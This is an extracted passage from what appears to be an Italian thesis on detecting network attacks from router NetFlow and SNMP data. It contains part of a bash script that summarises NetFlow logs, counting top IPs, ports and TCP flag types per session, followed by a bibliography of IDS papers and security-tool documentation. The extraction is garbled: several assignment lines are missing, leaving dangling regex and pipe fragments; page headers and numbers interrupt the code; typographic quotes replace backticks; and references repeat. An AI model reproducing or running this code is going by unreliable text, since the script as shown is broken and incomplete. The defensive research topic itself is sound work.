#Speedup computation, this is a void section

for (( i = 1 ; i < 29 ; i++ ))

do

entry[$i]=0

done

SAVE_IFS=$IFS

IFS=","

csvRow="${entry[*]}"

IFS=$SAVE_IFS

echo $csvRow

return 0

fi

# Retrive summaries

entry[1]=‘cat $tempfile | tail -1 | cut -d, -f1‘ # Flows

entry[2]=‘cat $tempfile | tail -1 | cut -d, -f2‘ # Bytes

entry[3]=‘cat $tempfile | tail -1 | cut -d, -f3‘ # Packets

entry[4]=‘cat $tempfile | tail -1 | cut -d, -f4‘ # bps

entry[5]=‘cat $tempfile | tail -1 | cut -d, -f5‘ # pps

entry[6]=‘cat $tempfile | tail -1 | cut -d, -f6‘ # bpp

# Extract Client IP Addresses and select the 3 most common Client IP Addresses

indexIp1=7

indexIp2=8

indexIp3=9

entry[7]=‘cat $tempfile | cut -d, -f4 | uniq -c | sort -nr | egrep -e

’[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}’ | awk ’{print $2}’ | head -1 |

tail -1‘


’[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}’ | awk ’{print $2}’ | head -2 |

tail -1‘


’[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}’ | awk ’{print $2}’ | head -3 |

tail -1‘

# Calculate nSIN, nRES, nACK, nSYN-ACK, nICMP for each Client IP

entry[10]=‘cat $tempfile | grep "${entry[$indexIp1]}" | cut -d, -f9 | grep S |

wc -l‘ # nSYN Client IP 1





entry[13]=‘cat $tempfile | grep "${entry[$indexIp1]}" | cut -d, -f9 | grep R |

wc -l‘ # nRES Client IP 1

C Script Processamento Dati 53





entry[16]=‘cat $tempfile | grep "${entry[$indexIp1]}" | cut -d, -f9 | grep A |

wc -l‘ # nACK Client IP 1






grep A | wc -l‘ # nSYNACK Client IP 1





entry[22]=‘cat $tempfile | grep "${entry[$indexIp1]}" | cut -d, -f8 |

grep ICMP | wc -l‘ # nICMP Client IP 1





# Calculate most commonn server address

indexSrvIp1=25


’[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}’ | awk ’{print $2}’ | head -1

| tail -1‘

#entry[23]=‘cat $tempfile | cut -d, -f5 | uniq -c | sort -nr | egrep -e

’[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}’ | awk ’{print $2}’ | head -2

| tail -1‘

#entry[24]=‘cat $tempfile | cut -d, -f5 | uniq -c | sort -nr | egrep -e

’[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}’ | awk ’{print $2}’ | head -3

| tail -1‘

# Select the most 3 common Server Port

entry[26]=‘cat $tempfile | grep "${entry[$indexSrvIp1]}" | cut -d, -f7 |

uniq -c | sort -nr | egrep -e ’[0-9]{1,6}’ | awk ’{print $2}’ | head -1 |

tail -1‘ # port server IP 1







SAVE_IFS=$IFS

IFS=","

csvRow="${entry[*]}"

IFS=$SAVE_IFS

echo $csvRow

return 0

}

# ----------------

# MAIN STARTS HERE

# ----------------

infocmd="--info"

54 C Terza Appendice

if [ $# -ne 1 ]

then

echo "***"

echo "Create SNMP-like record from NF-Log file"

echo "Usage: $0 <file.csv> "

echo "Print on screen the current entrty format"

echo "Usage: $0 $infocmd"

echo "***"

exit 0

fi

if [ $1 = $infocmd ]

then

printEntryDataTypes

exit 0

fi

infile=$1

tempfile="$1.temp"

#

# Find Sections

#

cat $infile | grep -n Captured@ | cut -d\: -f1 > $tempfile

echo ‘cat $infile | wc -l‘ >> $tempfile

total=‘cat $tempfile | wc -l‘

i1=1

i2=1

declare -a sessionBoundsBegin

declare -a sessionBoundsEnd

while [ $i2 -lt $total ]

do

SessionBoundsBegin[$i1]=‘cat $tempfile | head -$i2 | tail -1‘

i2=‘expr 1 + $i2‘

SessionBoundsEnd[$i1]=‘cat $tempfile | head -$i2 | tail -1‘

i1=‘expr 1 + $i1‘

done

# Now sessionBouns contains the lines number that you

# can use for isolating single sessions

counter=0

while [ $counter -lt $i1 ]

do

createEntry $infile ${SessionBoundsBegin[$counter]}

${SessionBoundsEnd[$counter]} $tempfile

counter=‘expr $counter + 1‘

done

rm $tempfile

Bibliografia

[1] Wang Zhenqi,Wang Xinyu NetFlow Based Intrusion Detection Sys-tem. 2008 International Conference on MultiMedia and InformationTechnology.

[2] Thomas Dubendorfer,Arno Wagnert, Bernhard Plattner A Frameworkfor Real-Time Worm Attack Detection and Backbone Monitoring. SwissFederal Institute of Technology, ETH-Zentrum, CH-8092 Zurich.

[3] Herve Debar, Marc Dacier, Andreas Wespi Towards a taxonomy ofintrusion-detection systems. Computer Networks 31 (1999) 805–822.

[4] Phrack 56 0x11, Sasha/Beetle A strict anomaly detection model for IDS.http://artofhacking.com/files/phrack/phrack56/P56-11.TXT

[5] Walter Cerroni, Gabriele Monti, Gianluca Moro, and Marco RamilliNetwork Attack Detection Based on Peer-to-Peer Clustering of SNMPData. 6th International ICST Conference on Heterogeneous Network-ing for Quality, Reliability, Security and Robustness (QShine2009), LasPalmas de Gran Canaria, Spain, November 2009.

[6] Walter Cerroni et al Network-based Attack Detection through SNMP Da-ta Mining: A Testing Methodology. DEIS – University of Bologna, v.Venezia 52, 47521 Cesena (FC), Italy.

[7] Marco Migliarini, Walter Cerroni Rilevazione di attacchi di rete tramitetecniche di datamining su traffico SNMP. Seconda Facolta di ingegneriacon sede a Cesena, Corso di Laurea in Ingegneria Informatica.

[8] Harri Valpola Bayesian Ensemble Learning for Nonlinear Factor Anal-ysis Helsinki University of Technology, Neural Networks ResearchCentre.

[9] Tan, Pang-Ning; Michael, Steinbach; Kumar, Vipin Introduction to Da-ta Mining Addison-Wesley. ISBN 0321321367. http://www-users.cs.umn.edu/∼kumar/dmbook/index.php

55

http://artofhacking.com/files/phrack/phrack56/P56-11.TXT

http://www-users.cs.umn.edu/~kumar/dmbook/index.php

http://www-users.cs.umn.edu/~kumar/dmbook/index.php

56 BIBLIOGRAFIA

[10] http://www.ietf.org/rfc/rfc3954.txt

[11] http://www.cisco.com/en/US/technologies/tk648/tk362/technologieswhite paper09186a00800a3db9 ps6601 Products White Paper.html

[12] http://www.cisco.com/en/US/prod/collateral/iosswrel/ps6537/ps6555/ps6601/prod white paper0900aecd80406232.html

[13] http://nmap.org/book/man.html

[14] http://nmap.org/man/it/man-bypass-firewalls-ids.html

[15] http://sqlmap.sourceforge.net/doc/README.html

[16] http://thc.org/thc-hydra/README

[17] http://nmap.org/ncrack/

[18] http://cwe.mitre.org/top25/index.html

[19] http://www.troyhunt.com/2011/07/science-of-password-selection.html

[20] http://www.social-engineer.org/framework/Computer Based SocialEngineering Tools: Common User Passwords Profiler %28CUPP%29

[21] http://sourceforge.net/projects/loic/

[22] http://en.wikipedia.org/wiki/Denial-of-service attack#Degradation-of-service attacks

[23] http://nfdump.sourceforge.net/

[24] http://www.caida.org/data/overview

http://www.ietf.org/rfc/rfc3954.txt

http://www.cisco.com/en/US/technologies/tk648/tk362/technologies_white_paper09186a00800a3db9_ps6601_Products_White_Paper.html

http://www.cisco.com/en/US/technologies/tk648/tk362/technologies_white_paper09186a00800a3db9_ps6601_Products_White_Paper.html

http://www.cisco.com/en/US/prod/collateral/iosswrel/ps6537/ps6555/ps6601/prod_white_paper0900aecd80406232.html

http://www.cisco.com/en/US/prod/collateral/iosswrel/ps6537/ps6555/ps6601/prod_white_paper0900aecd80406232.html

http://nmap.org/book/man.html

http://nmap.org/man/it/man-bypass-firewalls-ids.html

http://sqlmap.sourceforge.net/doc/README.html

http://thc.org/thc-hydra/README

http://nmap.org/ncrack/

http://cwe.mitre.org/top25/index.html

http://www.troyhunt.com/2011/07/science-of-password-selection.html

http://www.social-engineer.org/framework/Computer_Based_Social_Engineering_Tools:_Common_User_Passwords_Profiler_%28CUPP%29

http://www.social-engineer.org/framework/Computer_Based_Social_Engineering_Tools:_Common_User_Passwords_Profiler_%28CUPP%29

http://sourceforge.net/projects/loic/

http://en.wikipedia.org/wiki/Denial-of-service_attack#Degradation-of-service_attacks

http://en.wikipedia.org/wiki/Denial-of-service_attack#Degradation-of-service_attacks

http://nfdump.sourceforge.net/

http://www.caida.org/data/overview

Rilevamento di attacchi di rete tramite protocolli di monitoraggio per router IP - Report

Documents

Transcript of Rilevamento di attacchi di rete tramite protocolli di monitoraggio per router IP - Report